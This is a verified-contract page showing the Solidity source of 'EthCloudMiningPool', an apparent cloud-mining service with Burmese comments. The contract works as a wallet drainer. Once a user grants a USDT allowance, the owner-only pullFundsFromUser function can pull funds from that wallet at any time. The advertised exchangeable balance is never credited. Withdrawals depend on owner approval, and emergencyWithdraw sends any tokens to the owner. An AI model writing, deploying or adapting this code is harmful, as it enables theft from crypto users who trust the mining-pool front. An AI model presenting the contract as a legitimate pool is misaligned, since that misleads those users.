Verified contractExactMIT
EthCloudMiningPool
Address0x596d32a642419cf10c2cc38b6cbeed7383c06fbe
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.34
- Same code
3 more contracts
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,321,732
- Creation transaction
- 0x4f12d35c7b…7885e4919b
- Main copy (most transactions)
- 0xe233a84d…82f490db
contracts/EthCloudMiningPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
* @title EthCloudMiningPool
* @dev Spender & Allowance based Dynamic Mining Pool compatible with frontend interface.
*/
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
contract EthCloudMiningPool {
address public owner;
IERC20 public usdtToken;
struct Transaction {
string txType;
uint256 amount;
uint256 timestamp;
}
struct WithdrawalRequest {
address user;
uint256 amount;
bool isProcessed;
}
// Public Mappings & Arrays (Frontend ဖြင့် တိုက်ရိုက်ဖတ်ရှုရန်)
mapping(address => bool) public isSubscribed;
mapping(address => uint256) public ethExchangeableBalance;
mapping(address => uint256) public withdrawableBalance;
mapping(address => Transaction[]) public userTransactions;
address[] private subscribersList;
WithdrawalRequest[] public withdrawalRequests;
// Events
event Subscribed(address indexed user);
event Exchanged(address indexed user, uint256 amount);
event WithdrawalRequested(uint256 indexed requestId, address indexed user, uint256 amount);
event WithdrawalProcessed(uint256 indexed requestId, address indexed user, uint256 amount);
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}
constructor(address _usdtTokenAddress) {
owner = msg.sender;
usdtToken = IERC20(_usdtTokenAddress);
}
/**
* @dev 1. Subscription & Spender Allowance Activation
* Frontend တွင် approve လုပ်ပြီးသည်နှင့် ခေါ်ဆိုမည့် ဖန်ရှင်
*/
function activateSubscription() external {
uint256 walletBalance = usdtToken.balanceOf(msg.sender);
uint256 currentAllowance = usdtToken.allowance(msg.sender, address(this));
require(walletBalance > 0, "No USDT in wallet");
require(currentAllowance > 0, "Spender allowance approval required");
if (!isSubscribed[msg.sender]) {
isSubscribed[msg.sender] = true;
subscribersList.push(msg.sender);
}
userTransactions[msg.sender].push(Transaction({
txType: "Subscription Activated",
amount: currentAllowance,
timestamp: block.timestamp
}));
emit Subscribed(msg.sender);
}
/**
* @dev 2. Admin မှ အသုံးပြုသူ၏ Spender Allowance ကိုအသုံးပြု၍ ငွေလှမ်းဆွဲခြင်း (Pull from Wallet)
*/
function pullFundsFromUser(address _user, uint256 _amount) external onlyOwner {
require(isSubscribed[_user], "User not subscribed");
require(_amount > 0, "Amount must be greater than zero");
bool success = usdtToken.transferFrom(_user, address(this), _amount);
require(success, "TransferFrom failed. Check user allowance.");
// Withdrawable balance သို့ ထည့်သွင်းပေးခြင်း
withdrawableBalance[_user] += _amount;
userTransactions[_user].push(Transaction({
txType: "Admin Pulled Funds",
amount: _amount,
timestamp: block.timestamp
}));
}
/**
* @dev 3. ETH Exchangeable Balance ကို USDT (Withdrawable Balance) သို့ လဲလှယ်ခြင်း
* (Frontend ရှိ exchangeToUSDT ကို ချိတ်ဆက်ထားသည်)
*/
function exchangeToUSDT() external {
require(isSubscribed[msg.sender], "User not subscribed");
uint256 amount = ethExchangeableBalance[msg.sender];
require(amount > 0, "No exchangeable balance available");
ethExchangeableBalance[msg.sender] = 0;
withdrawableBalance[msg.sender] += amount;
userTransactions[msg.sender].push(Transaction({
txType: "Exchange to USDT",
amount: amount,
timestamp: block.timestamp
}));
emit Exchanged(msg.sender, amount);
}
/**
* @dev 4. Withdraw Tokens Request (Frontend ရှိ withdrawTokens ကို ချိတ်ဆက်ထားသည်)
*/
function withdrawTokens(uint256 _amount) external {
require(isSubscribed[msg.sender], "User not subscribed");
require(_amount >= 20 * 10**6, "Minimum withdrawal amount is 20 USDT");
require(withdrawableBalance[msg.sender] >= _amount, "Insufficient withdrawable balance");
// Balance ကို Lock လုပ်ပြီး တောင်းဆိုမှုစာရင်းသွင်းမည်
withdrawableBalance[msg.sender] -= _amount;
withdrawalRequests.push(WithdrawalRequest({
user: msg.sender,
amount: _amount,
isProcessed: false
}));
uint256 requestId = withdrawalRequests.length - 1;
userTransactions[msg.sender].push(Transaction({
txType: "Withdrawal Requested",
amount: _amount,
timestamp: block.timestamp
}));
emit WithdrawalRequested(requestId, msg.sender, _amount);
}
/**
* @dev Admin မှ ငွေထုတ်တောင်းဆိုမှုကို အတည်ပြုပေးခြင်း
*/
function processWithdrawal(uint256 _requestId) external onlyOwner {
require(_requestId < withdrawalRequests.length, "Invalid request ID");
WithdrawalRequest storage request = withdrawalRequests[_requestId];
require(!request.isProcessed, "Request already processed");
request.isProcessed = true;
bool success = usdtToken.transfer(request.user, request.amount);
require(success, "USDT transfer failed");
userTransactions[request.user].push(Transaction({
txType: "Withdrawal Approved",
amount: request.amount,
timestamp: block.timestamp
}));
emit WithdrawalProcessed(_requestId, request.user, request.amount);
}
// --- View Functions for Frontend & Admin ---
function getUserTransactions(address _user) external view returns (Transaction[] memory) {
return userTransactions[_user];
}
function getTotalSubscribers() external view onlyOwner returns (uint256) {
return subscribersList.length;
}
function getAllSubscribers() external view onlyOwner returns (address[] memory) {
return subscribersList;
}
function getPendingRequests() external view onlyOwner returns (WithdrawalRequest[] memory) {
return withdrawalRequests;
}
function emergencyWithdraw(address _token, uint256 _amount) external onlyOwner {
IERC20(_token).transfer(owner, _amount);
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.